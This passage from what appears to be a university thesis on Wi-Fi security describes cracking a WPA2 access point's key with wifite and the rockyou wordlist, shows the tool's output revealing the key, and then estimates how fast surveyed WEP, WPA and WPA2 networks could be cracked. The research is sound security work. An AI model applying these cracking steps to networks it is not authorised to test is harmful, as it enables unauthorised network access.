This command launches the wifite tool as root, connects to the wireless interface wlano,
and attempts to crack WPA-secured networks with the dictionary file rockyou. txt. On-

ly WPA-secured networks should be targeted, according to the ~wpa option.
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The results of running this command on an AP that utilizes WPA2 security standard is dis-

played below:

[+] option: using wireless interface wlanO

[+] option: using wordlist /home/kali/Desktop/rockyou.txt to crack WPA
handshakes
[+] option: targeting WPA-encrypted networks

NUM ESSID CH ENCR PWR WPS CLIENT

2 MikroTik 2 GHz 1 WPA-P 51db yes
[+] (1/1) Starting attacks against 64:D1:54:68:DB:BB (MikroTik 2 GHz)

[+] MikroTik 2 GHz (41db) PMKID CAPTURE: Loaded existing PMKID hash:
hs/pmkid MikroTik2GHz 64-D1-54-68-DB-BB 2023-05-15T22-16-46.22000

[+] MikroTik 2 GHz (41db) PMKID CRACK: Cracking PMKID using
/home/kali/Desktop/rockyou.txt

[+] MikroTik 2 GHz (41db) PMKID CRACKED: Key:

64d15468dbbb:c8aacc75800e:MikroTik 2 GHz:ilovepizza

The attack uses the wireless interface wlan0 and the wordlist file rockyou. txt to target
WPA-encrypted networks. On the MikroTik 2 GHz network, a Pairwise Master Key Iden-
tifier (PMKID) capture was performed. The PMKID was cracked successfully, revealing

the key ilovepizza.
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Based on the analysis conducted, it can be inferred that the WEP security standard, which
encompasses 28 devices and accounts for approximately 0.42% of the total APs identified

in this study, can be compromised in less than 10 minutes.

The security of the WPA standard heavily relies on the type of PSK used to protect access
to the network. The time required to crack the PSK is directly influenced by factors such as
its complexity, randomness, and length, as well as the range of passwords covered by the
dictionary used in the cracking attempt. Based on the collected data, it can be inferred that
if all WPA-secured APs were subjected to the same circumstances (similar key complexi-
ty, randomness, and length, along with the use of the same dictionary), approximately 93
devices, accounting for 1.41% of all detected devices in this research, could be cracked
using a dictionary attack in less than 50 minutes. It's also important to note that a faster and
more efficient CPU can handle a larger number of password guesses per second, thereby
potentially speeding up the dictionary attack process. In this case, VM is configured to

utilize 4 of the 8 eight CPU cores or processors on the underlying physical hardware.

WPA2 security, like WPA, is influenced by factors such as the complexity, randomness,
and length of the PSK, as well as the range of passwords covered by the dictionary. Fur-
thermore, the power of the CPU used in the cracking process can affect the time required
to crack a PSK. Based on the information provided, it is estimated that under similar cir-
cumstances, it would take less than 40 minutes to crack the PSK used by 5,412 of the 6,618
devices detected in this research, accounting for approximately 81.84% of the total devic-

€S.

The Dragon-blood attack can be used to circumvent WPA3's Dragonfly security. This at-
tack can be carried out in two ways: downgrading WPA3-Transition mode to allow dic-
tionary attacks, or launching a resource consumption attack (such as a denial of service)
against WPA3's Dragonfly handshake. However, due to the lack of support for the WPA3
security standard in devices, none of these attacks were carried out during the research.
The targeted AP used in the potential attacks was unable to support the necessary WPA3

security settings configuration [49].
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CONCLUSION

This thesis accomplished its goals of analyzing various threats in Wi-Fi networks, investi-
gating wireless security techniques and protocols, and investigating network infrastructure
and components. The findings shed light on critical flaws in security protocols, specifically
WEP, WPA, and WPA2. One of the study's key takeaways is the critical importance of

implementing strong security measures to prevent unauthorized access.

What sets this research apart from others in the same area of study is its unique methodol-
ogy and comprehensive approach. To begin, common data capture tools and methods were
fully utilized, allowing scanning and data collection in 12 different locations in Zlin, Czech
Republic. This extensive effort resulted in precise data capture from 6618 wireless APs.
The extensive dataset obtained enables a more thorough and sophisticated examination of
the subject matter. Second, the research goes beyond theoretical exploration by incorporat-
ing rigorous penetration tests. By actively assessing the security of well-known standards
like WEP, WPA, and WPA2, vulnerabilities and weaknesses in these systems were discov-

ered.

During the research process, I faced various challenges in gathering specific and reliable
information on device and router communication. This required meticulous attention to
detail to ensure accurate findings. Additionally, data collection involved complex filtering
techniques to avoid duplication and maintain result integrity. These challenges highlighted
the intricacies of conducting a thorough and accurate study in Wi-Fi network security. De-
spite the challenges, this journey has significantly expanded my knowledge in Wi-Fi secu-
rity. I now possess expertise in evaluating extensive and precise security data, enabling me
to draw meaningful conclusions. Furthermore, I have learned techniques for cracking
passwords used by access points to prevent unauthorized access. Overall, this experience

has provided me with a whole new understanding of Wi-Fi security.

Looking ahead, the planned release of the Wi-Fi 7 standard suggests the potential for fur-
ther network security advancements Let's stay proactive in our efforts to enhance network

security and embrace the advancements the future will bring.
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